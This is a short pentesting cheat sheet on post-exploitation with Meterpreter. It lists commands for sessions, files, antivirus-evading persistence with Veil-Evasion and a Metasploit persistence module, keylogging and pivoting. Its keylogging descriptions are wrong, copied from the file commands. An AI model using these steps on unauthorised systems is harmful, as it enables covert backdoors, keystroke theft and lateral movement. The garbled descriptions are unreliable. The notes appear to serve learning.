# Post Exploitation

> Markdown source of <https://docs.calebsargeant.com/computing/pentesting/post-exploitation/>.

## Meterpreter Basics

- `help` - shows help
- `background` - backgrounds current session
- `sessions -l` - list all sessions
- `sessions -i` - interact with a certain session
- `sysinfo` - display system info
- `ipconfig` - displays infor about interfaces
- `getuid` - shows current user

## File System Commands

- `pwd` - shows current working directory
- `ls` - list files in current working directory
- `cd [location]` - changes working directory
- `cat [file]` - prints the content of file on screen
- `download [file]` - downloads file
- `upload [file]` - uploads file
- `execute -f [file]` - executes file

## Maintaining Access

- Using a veil-evasion

  > - rev_http_service
  > - rev_tcp_service
  > - Use it instead of a normal backdoor
  > - Or upload and execute from meterpreter
  > - Does not always work

- Using persistence module

  > - run persistence -h
  > - Detectable by antivirus programs

- Using metasploit + veil-evasion = more rubust + undetectable by antivirus

  > - `use exploit/windows/local/persistence`
  > - `set session [session id]`
  > - `set exe::custom [backdoor location]`
  > - `exploit`

## Key Logging

- Log all mouse/keyboard events

  > - `keyscan_start` - shows current working directory
  > - `keyscan_dump` - lists files in the current working directory
  > - `keyscan_stop` - changes working directory to location
  > - `screenshot`

## Pivoting

- Use the hacked device as a pivot
- Try to gain access to other devices in the network